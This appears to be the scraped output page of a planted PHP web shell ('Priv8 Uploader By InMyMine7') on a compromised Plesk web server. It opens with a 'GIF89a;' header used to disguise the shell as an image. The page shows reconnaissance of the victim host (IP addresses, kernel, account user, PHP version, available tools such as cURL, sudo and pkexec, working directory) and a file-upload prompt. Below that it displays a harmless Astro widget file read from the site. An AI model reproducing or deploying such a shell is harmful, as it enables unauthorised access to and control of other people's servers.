GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.147 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/widgets/ |
Upload File : |
---
import { getEmDashCollection } from "../../query.js";
interface Props {
count?: number;
showThumbnails?: boolean;
showDate?: boolean;
}
const { count = 5, showThumbnails = false, showDate = true } = Astro.props;
const { entries: posts } = await getEmDashCollection("posts", {
limit: count,
orderBy: { published_at: "desc" },
});
// Helper to get typed values from dynamic data
function getString(data: Record<string, unknown>, key: string): string | undefined {
const val = data[key];
return typeof val === "string" ? val : undefined;
}
---
<ul class="widget-recent-posts">
{
posts.map((post) => {
const publishedAt = getString(post.data, "publishedAt");
const featuredImage = getString(post.data, "featured_image");
const title = getString(post.data, "title");
return (
<li>
{showThumbnails && featuredImage && (
<img
src={featuredImage}
alt=""
class="widget-recent-posts__thumbnail"
/>
)}
<a href={`/posts/${post.id}`} class="widget-recent-posts__link">
{title}
</a>
{showDate && publishedAt && (
<time datetime={publishedAt} class="widget-recent-posts__date">
{new Date(publishedAt).toLocaleDateString()}
</time>
)}
</li>
);
})
}
</ul>